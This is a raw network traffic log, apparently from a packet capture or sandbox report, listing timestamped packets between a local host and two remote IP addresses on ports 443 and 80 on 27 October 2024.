Oct 27, 2024 02:03:15.554414034 CET	443	49737	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:16.070281982 CET	443	49737	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:16.070372105 CET	443	49737	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:16.070506096 CET	49737	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:16.070617914 CET	49737	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:16.070667982 CET	443	49737	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:16.070700884 CET	49737	443	192.168.2.4	172.67.170.64
Oct 27, 2024 02:03:16.070718050 CET	443	49737	172.67.170.64	192.168.2.4
Oct 27, 2024 02:03:16.071624041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:16.076986074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:16.077055931 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:16.077198029 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:16.082695961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:16.995306969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:16.995326996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:16.995337963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:16.995348930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:16.995354891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:16.995383024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:16.995395899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:16.995407104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:16.995420933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:16.995434046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:16.995446920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:16.995464087 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:16.995464087 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:16.995464087 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:16.995757103 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.000708103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.000756979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.000766993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.000852108 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.054986000 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.154181957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.154197931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.154206991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.154217005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.154512882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.154555082 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.154649019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.154659033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.154668093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.154695034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.154727936 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.155448914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.155459881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.155468941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.155520916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.155520916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.272713900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.272739887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.272748947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.272758007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.272767067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.273135900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.273202896 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.273333073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.273346901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.273356915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.273396969 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.273402929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.273415089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.273442984 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.277215958 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.391478062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.391489983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.391499043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.391504049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.391701937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.391710997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.391720057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.391755104 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.391755104 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.392180920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.392194986 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.392205000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.392214060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.392818928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.392854929 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.392858982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.392874956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.392898083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.392931938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.392931938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.444603920 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.509990931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.510008097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.510019064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.510090113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.510116100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.510130882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.510142088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.510179996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.510406017 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.510565042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.510576010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.510586977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.510596991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.510607004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.510622978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.510689020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.511377096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.511393070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.511403084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.511414051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.511425018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.511449099 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.511476040 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.511476040 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.628797054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.628827095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.628854990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.628865004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.628875971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.628886938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.628909111 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.629159927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.629163027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.629189014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.629199982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.629209995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.629220009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.629231930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.629235983 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.629259109 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.629285097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.630101919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.630119085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.630218029 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.673100948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.673122883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.673235893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.747153997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.747167110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.747179031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.747307062 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.747334003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.747366905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.747378111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.747404099 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.747426033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.747436047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.747443914 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.747989893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.748104095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.748115063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.748126030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.748141050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.748171091 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.748241901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.748581886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.748644114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.748658895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.748667955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.748697042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.748771906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.791387081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.791398048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.791476011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.865653038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.865665913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.865680933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.865689039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.865890026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.865899086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.865927935 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.866044998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.866055012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.866065025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.866080999 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.866422892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.866439104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.866449118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.866457939 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.866458893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.866471052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.866487980 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.866487980 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.867132902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.867144108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.867150068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.867161036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.867240906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.909959078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.909970999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.909981966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.913439035 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.984321117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.984338999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.984389067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.984426022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.984436035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.984476089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.984492064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.984503031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.984512091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.984539986 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.984539986 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.985222101 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.985265970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.985275984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.985285044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.985361099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.985372066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.985379934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.985390902 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.985441923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.985441923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:17.986105919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.986165047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:17.989598036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.028650045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.028661013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.028669119 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.028714895 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.072767019 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.103091002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.103140116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.103187084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.103197098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.103199005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.103209972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.103249073 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.103357077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.103367090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.103378057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.103403091 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.103435993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.104011059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.104022026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.104033947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.104051113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.104060888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.104070902 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.104104042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.104679108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.104690075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.104706049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.104734898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.104789972 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.147557020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.147581100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.147589922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.147620916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.147641897 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.147680998 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.222220898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.222244024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.222254038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.222291946 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.222428083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.222438097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.222448111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.222459078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.222469091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.222479105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.222481012 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.222532988 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.223263025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.223273039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.223282099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.223303080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.223309994 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.223320007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.223330021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.223350048 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.223381042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.266021013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.266041994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.266057014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.266069889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.266077995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.266140938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.319235086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.340527058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.340538025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.340548038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.340584993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.340817928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.340827942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.340861082 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.340908051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.340918064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.340931892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.340951920 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.341015100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.341229916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.341252089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.341296911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.341394901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.341406107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.341417074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.341449976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.341449976 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.341461897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.341492891 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.342051983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.342097044 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.342111111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.342187881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.342232943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.342256069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.384588957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.384607077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.384617090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.384627104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.384637117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.384664059 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.384664059 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.384727955 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.459100008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.459110975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.459125996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.459156036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.459400892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.459444046 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.459455967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.459466934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.459515095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.459604025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.459614038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.459624052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.459650993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.459917068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.459925890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.459959984 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.460069895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.460088015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.460097075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.460115910 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.460165977 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.460419893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.460434914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.460444927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.460455894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.460469007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.460479975 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.460514069 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:18.503165960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:18.503176928 CET	80	49738	185.215.113.16	192.168.2.4
